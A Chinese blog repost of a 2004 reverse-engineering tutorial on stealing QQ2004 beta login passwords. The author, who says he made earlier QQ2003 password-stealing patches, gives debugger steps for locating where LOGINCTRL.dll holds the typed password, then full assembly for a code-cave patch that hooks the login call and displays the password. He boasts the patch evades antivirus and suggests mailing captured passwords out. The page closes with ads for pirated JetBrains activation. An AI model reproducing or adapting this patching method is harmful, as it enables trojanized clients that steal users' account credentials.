大家好,又见面了,我是你们的朋友全栈君。
2004-6-2 19:14
2715
QQ2004测试版密码获取演示
2004-6-2 19:14
2715
水平不高,请大家包涵
最近快毕业了,比较忙。。。。
如果补丁在你那里不好用,请给我反馈。
QQ2004测试版密码获取演示
作者:nbw[NE365]
nboy.cnwlt.com
www.vxer.com
QQ :343538175
以前我做过盗取QQ2003密码的补丁。利用这种补丁修改QQ后,盗取密码完全由QQ自身完成。基本不占用资源,不会被查杀。从理论上来讲大部分需要填写密码的游戏或者程序都可以采用这种方法盗取号码。现在QQ2004测试版出来了,其安全性比以往有了很大加强。其号码的获取和QQ2003基本一样,但是密码的处理更为复杂。下面我就说说如何获取其密码。
这里只是一个演示,当用户输入密码登陆后,会弹出对话框把用户输入的密码显示出来。从理论上来说,做到这一步,便意味着可以随便处理这个密码(比如发送到某个邮箱,嘿嘿),我现在很忙,写东西也没条理这篇文章更像一篇笔记,如果你觉得占用了你的时间,我实在很不好意思。
获得保存号码的地方:
如果输入的号码位数小于5,则提示错误.可以下命令bpx messageboxa,再Pmodule返回程序
领空,向上查看,很容易可以得到获取号码的地点如下:
0167:01f63d5d call ….(当然这个地址是变化的.)
返回的eax为号码地址.且领空为Loginctrl
下面有个函数:QQHELPERDLL!?CheckQQUinValid@@YAHVCString@@@Z(看看命名,范了兵家大忌!),用来判定号码的合法性,进去以后可以看到:
:1000D8D6 8B4508 mov eax, dword ptr [ebp+08] ;eax–>号码
:1000D8D9 8B40F8 mov eax, dword ptr [eax-08] ;eax–>密码
:1000D8DC 83F805 cmp eax, 00000005 ;比较号码长度是否大于5
:1000D8DF 7D05 jge 1000D8E6
领空为: QQHELPERDLL,也就是代码在这个文件中.去这个文件查找上面的代码,便可以找到.由于在TRW中看到的地址并不是个文件中的RVA(因为是动态调用),所以查找这个地方应该搜索特征码,就是利用Search命令搜索上面这几行代码或者他们的Opcode.最好用WinHex打开QQ进程中的Loginctrl.dll领空来搜索.
保存密码处:
找到了号码存放位置以后,填写号码和密码点下一步(最好填5位以下的密码,这样就不用进入下一个界面).在上面的mov eax, dword ptr [ebp+08]处拦截下来.下命令d eax,看到自己的号码.向下(或者向上)不远便是自己输入的密码.这个存放密码的位置是变化的.比如说这次是在0030:008FB720处.下命令bpm 0030:008FB720 w .再次输入登录,被拦截.按F10,慢慢向下走,过了好几个call,直到LOGINCTRL的领空.看看上面的函数,为:
:10004C42 FF7510 push [ebp+10]
:10004C45 FF750C push [ebp+0C]
:10004C48 FF7508 push [ebp+08]
* Reference To: MFC42.Ordinal:062A, Ord:062Ah
|
:10004C4B E8E8110000 Call 10005E38
:10004C50 8B4DF0 mov ecx, dword ptr [ebp-10]
在Call 10005E38上下断点,会发现即使不操作QQ也会频繁中断在这个地点.对我们来说,这是多么不幸啊! 所以,再次打开断点bpm 0030:008FB720 w ,重新登录,被中断,像刚才一样F10,不断向下走,观察程序领空,当然会再次看到Call 10005E38,不过不要管他,继续向下走.不停看啊看啊,每次过了一个ret,如果发现领空不是系统领空(就是不是什么User或者kernel32)就向上看看上面的call,最后到了:0167:01D426DC E855240000 call MFC42!ord_00000942 ,这里的领空仍然是LOGINCTRL,利用特征码,在W32Dasm中查找”E855240000″,具体就是:
:100026CE 8D8648050000 lea eax, dword ptr [esi+00000548]
* Possible Reference to Dialog: DialogID_01C2, CONTROL_ID:00B4, “”
|
:100026D4 BBB4000000 mov ebx, 000000B4
:100026D9 50 push eax ;存放密码的地址
:100026DA 53 push ebx
:100026DB 57 push edi
* Reference To: MFC42.Ordinal:0942, Ord:0942h
|
:100026DC E855240000 Call 10004B36 ;**********关键函数
:100026E1 8D864C050000 lea eax, dword ptr [esi+0000054C]
注意上面的CONTROL_ID:00B4,这里或许就是密码框的ID.
对于每一个重要的函数,分析其参数无疑是非常明智的.看看上面这个函数,有三个参数eax,ebx,edi,多跟踪几次便会发现,eax中为存放密码的地址,函数的返回值是密码长度.但是函数好像没有把密码长度存放起来(lea eax, dword ptr [esi+0000054C]),或许是密码验证在函数中全部完成,跳出函数后不再需要?(猜想)
eax在函数入口时作为密码存放地址,函数结束时为密码长度.而函数领空是系统领空,无法对其进行修改.所以,可以在入栈的时候跳转到我们的代码,保存eax的值,在函数结束的时候再次跳转,再次保存eax以获得密码长度.这样2次SMC,肯定会很麻烦.有兴趣可以试验一下,练手嘛.
幸运的是入栈操作的上方有:100026CE lea eax, dword ptr [esi+00000548] ,观察一下[esi+00000548]的值,发现在函数执行期间未曾发生变化.所以可以从[esi+00000548]获得密码存放地址.
不幸的是,这个函数虽然未曾被频繁调用,但是在登录的时候会被调用n次,这样假如你要保存密码,就会n次保存。虽然不碍事,就是麻烦些,并且这些数据中只有一个是真正的密码.但是我还有余力对付这些LG,so,整理一下思路,后面再说如何fuck it!
故此,我们得到以下结论:
当:100026DC E855240000 Call 10004B36 执行完毕后(也就是在:100026E1处),[esi+00000548]中存放的是密码的地址,eax中是密码长度.
获取密码演示:(每当用户登陆,便弹出对话框显示用户输入的密码)
用我的剩余空间分析器,分析一下LOGINCTRL文件的剩余空间:
名称 RVA OA 尺寸D 可写否
.text 0000681a 0000681a 2022 否
.rdata 00009238 00009238 3528 否
.data 0000b414 0000b414 -1044 可
.rsrc 00017568 00016568 2712 否
.reloc 00018b04 00017b04 1276 否
.text段不错.有2022字节空间.试验一下也可以正常载入,用Pedit把这个区段的属性改为可写可读(不然的话无法在这个区段设置可写变量)
打开LOGINCTRL文件,修改:
:100026DC E855240000 Call 10004B36
:100026E1 8D864C050000 lea eax, dword ptr [esi+0000054C]
:100026E7 50 push eax
:100026E8 6844010000 push 00000144
为:
:100026DC E855240000 Call 10004B36
:100026E1 jmp 6830 ;跳转到剩余空间.
:100026E7 push eax
少了:100026E1 8D864C050000 lea eax, dword ptr [esi+0000054C] .记下来,以后补上.
由于这个关键函数在很多时候都被调用,因此需要判断是不是应该获得密码的时候,我这里通过判断eax和[4D6FAC]来判断究竟是不是应该获取密码,具体算法如下:
if eax==00 then
;程序正在启动,跳出
;这种判断程序启动的方法,存在一个问题,就是如果用户的密码本身为空,我们就采集不到了,因为那样的话也会导致eax=0
else
if [4D6FAC]=00 then
;获取密码
[4D6FAC]=01
else
[4D6FAC]=00
endif
endif
这里的[4D6FAC]是标志位.选这个地址的原因稍候再谈.
动态内存地址的查找:
由于QQ2004的特殊处理,导致一些代码执行的时候所在的内存地址是变化的.就比如上面的关键函数,它的地址就是变化的.这样无疑加强了安全性,也很明显给我们提出了难度,因为好不容易找到的关键地址下次就发生了变化,让人很恼火.
好在地址的变化并不频繁.几天(或许一次开机)才变化一次.这样就可以很容易找到我们需要的代码的地址.比如要查找:100026DC E855240000 Call 10004B36 在内存中的地址.可以用WinHex打开QQ进程中的Loginctrl.dll域.搜索这个函数的代码,也就是”E855240000″,注意用Hex模式搜索,并且不要用小尾方式,因为这是code段,不是data段.
找到后,比如说是01D36835处的数据为E855240000 ,那么下命令bpx 0167:01D36835就可以拦截这个函数了.
标志位地址确定(上面的[4D6FAC]):
上面说过,LOGINCTRL被加载了以后,其内存地址(VA)并不是固定的, 按道理来说对于这种情况可以采用重定位技术,动态获取当前eip,不过这里的LoginCtrl毕竟是dll,我估计不行,所以也没试验.有兴趣的朋友可以看看.
所以标志位就不要在这个文件中寻找.这样可以去QQ主文件查找.需要找一个有可写属性的多余空间.4个字节大小就够(其实一个就够).
查看一下QQ.exe的节区属性,只有.data段可写.所以在这一段最后找一块地方.这个地方需要可以正常加载,并且不会被使用. .rsrc(D7000处)区段上面有一段空白处.在这里填上全1,然后打开QQ查看一下,发现有的地方不是1,说明被使用了.有的地方是1,说明没有被使用(至少登陆的时候).其中Dword ptr [4D6FAC]就不错.不要忘了把这地方填入的1再改为0.
变量组织:
对话框标题: [1D368B0]=C3DCC2EBCAC73A(密码是:)
标记: [4D6FAC] =00 ;获取密码
[4D6FAC] =01 ;不获取密码
新添加代码:
6830(OA)
6830: nop
nop
nop
pushad
cmp eax,000
je @1
mov ecx,[4D6FAC]
cmp ecx,01
je @1
push 00
push 1D368B0
mov ebx,[esi+548] ;ebx–>密码地址
push ebx
push 00
call dowrd [004A49E0] ;messageboxa
;请注意这里采用的是QQ.exe中的引入函数,
;而不是LOGINCTRL中的引入函数.
xor eax,eax
inc eax
mov [4D6FAC],eax
jmp @2
@1:
xor eax,eax
mov [4D6FAC],eax
@2:
popad
lea eax, dword ptr [esi+0000054C]
jmp 26e7
具体代码见附录
这样当输入密码和号码,点击登陆,便可以弹出对话框显示密码,由于该对话框不在QQ.exe领空,所以这里对话框会显示在主界面下面,你可以把主界面挪动一下就可以看到该对话框.
附录:
新添加的代码:
:10006830 90 nop
:10006831 60 pushad
:10006832 83F800 cmp eax, 00000000
:10006835 7430 je 10006867
:10006837 8B0DAC6F4D00 mov ecx, dword ptr [004D6FAC]
:1000683D 83F901 cmp ecx, 00000001
:10006840 7425 je 10006867
:10006842 6A00 push 00000000
:10006844 68B069D301 push 01D369B0
:10006849 8B9E48050000 mov ebx, dword ptr [esi+00000548]
:1000684F 53 push ebx
:10006850 6A00 push 00000000
:10006852 90 nop
:10006853 90 nop
:10006854 FF15E0494A00 call dword ptr [004A49E0]
:1000685A 33C0 xor eax, eax
:1000685C 40 inc eax
:1000685D A3AC6F4D00 mov dword ptr [004D6FAC], eax
:10006862 E907000000 jmp 1000686E
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:10006835(C), :10006840(C)
|
:10006867 33C0 xor eax, eax
:10006869 A3AC6F4D00 mov dword ptr [004D6FAC], eax
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10006862(U)
|
:1000686E 61 popad
:1000686F 8D864C050000 lea eax, dword ptr [esi+0000054C]
:10006875 E96DBEFFFF jmp 100026E7:D
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/162176.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...